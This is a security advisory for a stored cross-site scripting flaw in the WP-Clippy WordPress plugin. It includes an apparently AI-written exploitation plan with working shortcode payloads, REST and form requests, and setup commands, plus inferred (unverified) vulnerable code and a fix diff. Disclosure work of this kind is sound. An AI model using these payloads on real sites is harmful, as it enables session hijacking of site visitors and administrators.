CVE-2026-5505

WP-Clippy <= 1.0.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode Attributes

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
Unpatched
Patched in
N/A
Time to patch

Description

The WP-Clippy plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's `clippy` shortcode in all versions up to, and including, 1.0.0. This is due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.0.0
PublishedMay 4, 2026
Last updatedMay 5, 2026
Affected pluginwp-clippy
Research Plan
Unverified

This research plan outlines the steps required to demonstrate a Stored Cross-Site Scripting (XSS) vulnerability in the WP-Clippy plugin (<= 1.0.0). ## 1. Vulnerability Summary The **WP-Clippy** plugin is vulnerable to Stored XSS via the `[clippy]` shortcode. The plugin fails to sanitize or escape u…

Show full research plan

This research plan outlines the steps required to demonstrate a Stored Cross-Site Scripting (XSS) vulnerability in the WP-Clippy plugin (<= 1.0.0).

1. Vulnerability Summary

The WP-Clippy plugin is vulnerable to Stored XSS via the [clippy] shortcode. The plugin fails to sanitize or escape user-supplied attributes (such as agent or text) before rendering them in the HTML output. A user with Contributor-level permissions or higher can embed a malicious shortcode in a post or page. When any user (including an administrator) views that post, the injected script executes in their browser context.

2. Attack Vector Analysis

  • Endpoint: wp-admin/post.php (for post creation/editing) or the WordPress REST API wp-json/wp/v2/posts.
  • Vulnerable Component: Shortcode processing logic for [clippy].
  • Payload Parameter: Shortcode attributes (e.g., agent, text, image).
  • Authentication: Authenticated (Contributor+). Contributors can create posts and use shortcodes but cannot use unfiltered_html.
  • Preconditions: The plugin must be active.

3. Code Flow (Inferred)

  1. Registration: The plugin registers the shortcode in the main plugin file or an included loader:
    add_shortcode( 'clippy', 'clippy_shortcode_handler' );
  2. Input: A Contributor saves a post containing: [clippy agent='<script>alert(1)</script>'].
  3. Processing: When a user visits the post, WordPress calls the_content filter, which invokes do_shortcode().
  4. Shortcode Handler: The clippy_shortcode_handler($atts) function is executed. It likely uses shortcode_atts() to merge user input with defaults.
  5. Sink: The handler returns a string containing the attributes concatenated directly into HTML:
    return '<div class="clippy-container" data-agent="' . $atts['agent'] . '"></div>';
  6. Rendering: The unescaped HTML is printed to the page, leading to XSS.

4. Nonce Acquisition Strategy

To inject the shortcode via the web UI (rather than WP-CLI), the agent must obtain a nonce for the WordPress post editor.

  1. Identify Shortcode Activation: The [clippy] shortcode does not require a specific script to be loaded for the vulnerability to exist (it exists in the PHP rendering), but viewing the results requires the post to be published.
  2. Navigate to Editor: Use browser_navigate to go to /wp-admin/post-new.php.
  3. Extract Nonce:
    • For the Classic Editor: browser_eval("document.querySelector('#_wpnonce')?.value").
    • For the Block Editor (Gutenberg): The agent can use the REST API. The nonce is typically found in window.wpApiSettings.nonce.
    • JS Localization Key: window.wpApiSettings?.nonce.

5. Exploitation Strategy

The goal is to create a post containing a malicious shortcode and verify its execution.

Step 1: Create a Malicious Post (REST API Method)

Request:

POST /wp-json/wp/v2/posts HTTP/1.1
Content-Type: application/json
X-WP-Nonce: [EXTRACTED_NONCE]

{
  "title": "XSS Test",
  "content": "[clippy agent='\" onmouseover=\"alert(document.domain)\" style=\"width:1000px;height:1000px;display:block;\"' text='Click me']",
  "status": "publish"
}

Note: Using an attribute breakout \" onmouseover=... is often more reliable if the attribute is wrapped in double quotes in the source.

Step 2: Trigger the XSS

  1. Obtain the URL of the newly created post from the JSON response (link field).
  2. Use browser_navigate to visit the post URL as an Administrator.

6. Test Data Setup

  1. User Creation:
    wp user create attacker attacker@example.com --role=contributor --user_pass=password
  2. Plugin Activation: Ensure wp-clippy is active.
    wp plugin activate wp-clippy

7. Expected Results

  • The HTTP response for post creation should be 201 Created.
  • When navigating to the post, the HTML source should reveal the injected payload unescaped:
    <div ... data-agent="" onmouseover="alert(document.domain)" ...></div>
  • The browser_eval of alert should be triggered, or the agent should detect the payload in the DOM.

8. Verification Steps

After the HTTP exploit, confirm the post content in the database:

wp post list --post_type=post --format=csv
wp db query "SELECT post_content FROM wp_posts WHERE post_title='XSS Test' LIMIT 1;"

Check if the output contains the raw, unescaped shortcode.

9. Alternative Approaches

If the agent attribute is sanitized, try other potential attributes inferred from standard Clippy implementations:

  • [clippy text='<img src=x onerror=alert(1)>'] (HTML Body injection)
  • [clippy image='"><script>alert(1)</script>'] (Attribute breakout)
  • [clippy callback='alert(1)'] (If the plugin supports JS callbacks)

If the REST API is disabled, use the Classic Editor submission:
Request:

POST /wp-admin/post.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

action=editpost&post_ID=[ID]&_wpnonce=[NONCE]&content=[clippy agent='<script>alert(1)</script>']
Research Findings
Static analysis — not yet PoC-verified

Summary

The WP-Clippy plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the `[clippy]` shortcode in versions up to 1.0.0. The plugin fails to sanitize or escape user-supplied attributes such as 'agent' or 'text' before rendering them in the HTML output. This allows authenticated attackers with Contributor-level access to inject arbitrary web scripts that execute when any user views the affected post.

Vulnerable Code

// Inferred from research plan: Shortcode handler logic
function clippy_shortcode_handler($atts) {
    $atts = shortcode_atts(array(
        'agent' => 'clippy',
        'text'  => 'Hi, how can I help?',
    ), $atts);

    // Vulnerable sink: Shortcode attributes are concatenated directly into HTML without escaping
    return '<div class="clippy-container" data-agent="' . $atts['agent'] . '">' . $atts['text'] . '</div>';
}
add_shortcode('clippy', 'clippy_shortcode_handler');

Security Fix

--- wp-clippy.php
+++ wp-clippy.php
@@ -6,5 +6,5 @@
     ), $atts);
 
-    return '<div class="clippy-container" data-agent="' . $atts['agent'] . '">' . $atts['text'] . '</div>';
+    return '<div class="clippy-container" data-agent="' . esc_attr($atts['agent']) . '">' . wp_kses_post($atts['text']) . '</div>';
 }

Exploit Outline

The exploit is carried out by an authenticated user with at least Contributor-level permissions. 1. The attacker creates or edits a post via the WordPress dashboard or the REST API (wp-json/wp/v2/posts). 2. A malicious [clippy] shortcode is added to the post content, using an attribute breakout payload like [clippy agent='" onmouseover="alert(1)" style="display:block;width:500px;height:500px;"']. 3. Once the post is saved or published, any user (including administrators) who navigates to the post's URL will trigger the payload. The injected script executes in the context of the victim's browser session, potentially allowing for session hijacking or further administrative actions.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.